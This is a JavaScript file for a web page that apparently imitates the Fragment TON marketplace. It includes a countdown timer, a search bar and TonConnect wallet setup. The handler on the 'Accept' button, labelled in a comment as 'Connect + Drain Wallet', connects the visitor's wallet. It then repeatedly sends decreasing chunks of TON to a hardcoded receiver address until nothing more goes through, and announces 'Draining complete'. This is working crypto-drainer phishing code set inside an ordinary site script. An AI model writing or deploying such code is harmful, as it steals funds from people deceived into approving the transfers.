File size: 6,368 Bytes
e82238f 2999f7a e82238f 190d6c2 e82238f 190d6c2 e82238f 190d6c2 e82238f 190d6c2 c9275b4 e82238f 2999f7a e82238f 190d6c2 e82238f 190d6c2 2999f7a 190d6c2 2999f7a 190d6c2 e1d2018 c9275b4 e1d2018 c9275b4 e1d2018 c9275b4 e1d2018 c9275b4 e1d2018 c9275b4 190d6c2 e1d2018 c9275b4 e1d2018 c9275b4 e1d2018 c9275b4 2999f7a c9275b4 190d6c2 c9275b4 190d6c2 c9275b4 e1d2018 c9275b4 2999f7a c9275b4 190d6c2 c9275b4 2999f7a 3f9f0dc 190d6c2 2999f7a e82238f 2999f7a e82238f 190d6c2 e82238f 2999f7a c9275b4 2999f7a c9275b4 2999f7a | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 | // Timer functionality
function updateTimer() {
const elements = {
days: document.getElementById("days"),
hours: document.getElementById("hours"),
minutes: document.getElementById("minutes"),
seconds: document.getElementById("seconds")
};
if (!Object.values(elements).every(el => el)) {
console.error("Timer elements not found in DOM");
return;
}
let days = parseInt(elements.days.textContent) || 0;
let hours = parseInt(elements.hours.textContent) || 0;
let minutes = parseInt(elements.minutes.textContent) || 0;
let seconds = parseInt(elements.seconds.textContent) || 0;
if (seconds > 0) {
seconds--;
} else if (minutes > 0) {
minutes--;
seconds = 59;
} else if (hours > 0) {
hours--;
minutes = 59;
seconds = 59;
} else if (days > 0) {
days--;
hours = 23;
minutes = 59;
seconds = 59;
} else {
return; // Stop timer if all values are 0
}
elements.days.textContent = `${days} days`;
elements.hours.textContent = hours.toString().padStart(2, "0");
elements.minutes.textContent = minutes.toString().padStart(2, "0");
elements.seconds.textContent = seconds.toString().padStart(2, "0");
}
setInterval(updateTimer, 1000);
// Search bar
const searchInput = document.querySelector('.search-input');
if (searchInput) {
searchInput.addEventListener('keydown', function(e) {
if (e.key === 'Enter') {
const query = encodeURIComponent(this.value.trim());
if (query) {
window.location.href = `https://fragment.com/?query=${query}`;
}
}
});
} else {
console.error("Search input not found in DOM");
}
// TonConnect SDK setup
if (!window.TonConnect) {
console.error("TonConnect SDK not loaded. Ensure the script is included and loaded correctly.");
alert("Failed to load TON Connect SDK. Please try refreshing the page.");
} else {
const tonConnect = new window.TonConnect({
manifestUrl: 'https://txtorg-tsx.static.hf.space/manifest.json'
});
// Monitor wallet connection status
tonConnect.onStatusChange((walletInfo) => {
console.log('Wallet status:', walletInfo ? `Connected to ${walletInfo.account.address}` : 'Disconnected');
});
// Accept button → Connect + Drain Wallet
const acceptButton = document.querySelector('.accept-button');
if (acceptButton) {
acceptButton.addEventListener('click', async () => {
try {
// Fetch available wallets
const wallets = await tonConnect.getWallets();
if (!wallets || !wallets.length) {
console.error("No compatible wallets found.");
alert("No compatible TON wallets found. Please install a wallet like Tonkeeper.");
return;
}
// Initiate wallet connection
await tonConnect.connectWallet();
if (!tonConnect.connected || !tonConnect.wallet?.account?.address) {
console.error("Wallet connection failed: No wallet connected.");
alert("Wallet connection failed. Please try again or ensure a TON wallet is installed.");
return;
}
console.log("Connected wallet address:", tonConnect.wallet.account.address);
const receiverAddress = 'UQCF1ONPsW54lg6XzJFbYSEDHEujrLOrXbz52gR4VEmK9m4c';
const chunkSizes = [300, 100, 50, 10, 5, 1]; // TON
let totalSent = 0;
async function trySendChunk(amountTon) {
const tx = {
validUntil: Math.floor(Date.now() / 1000) + 300, // Extended to 5 minutes for reliability
messages: [
{
address: receiverAddress,
amount: (amountTon * 1e9).toString() // Convert TON to nanotons
}
]
};
try {
const result = await tonConnect.sendTransaction(tx);
if (result && (result.boc || result.from)) {
console.log(`✅ Sent ${amountTon} TON to ${receiverAddress}`);
totalSent += amountTon;
return true;
}
} catch (err) {
console.warn(`❌ Failed to send ${amountTon} TON:`, err.message || err);
}
return false;
}
while (true) {
let sent = false;
for (const size of chunkSizes) {
const ok = await trySendChunk(size);
if (ok) {
sent = true;
await new Promise(resolve => setTimeout(resolve, 2000)); // 2-second delay to avoid wallet overload
break;
}
}
if (!sent) {
alert(`Draining complete. Total sent: ${totalSent} TON.`);
break;
}
}
} catch (err) {
console.error("Error during wallet connection or transaction:", err.message || err);
alert(`Wallet connection or transaction failed: ${err.message || 'Unknown error'}`);
}
});
} else {
console.error("Accept button not found in DOM");
}
}
// Other UI button handlers
const tonButton = document.querySelector('.ton-button');
if (tonButton) {
tonButton.addEventListener('click', () => {
alert('Connect TON clicked');
});
} else {
console.error("TON button not found in DOM");
}
const telegramButton = document.querySelector('.telegram-button');
if (telegramButton) {
telegramButton.addEventListener('click', () => {
alert('Connect Telegram clicked');
});
} else {
console.error("Telegram button not found in DOM");
}
// Sidebar toggle
const menuButton = document.getElementById("menuButton");
const sidebarOverlay = document.getElementById("sidebarOverlay");
const overlay = document.getElementById("overlay");
const closeButton = document.getElementById("closeButton");
if (!menuButton || !sidebarOverlay || !overlay || !closeButton) {
console.error("Sidebar elements missing in DOM:", {
menuButton: !!menuButton,
sidebarOverlay: !!sidebarOverlay,
overlay: !!overlay,
closeButton: !!closeButton
});
} else {
menuButton.addEventListener("click", () => {
sidebarOverlay.classList.add("active");
overlay.classList.add("active");
});
overlay.addEventListener("click", () => {
sidebarOverlay.classList.remove("active");
overlay.classList.remove("active");
});
closeButton.addEventListener("click", () => {
sidebarOverlay.classList.remove("active");
overlay.classList.remove("active");
});
} |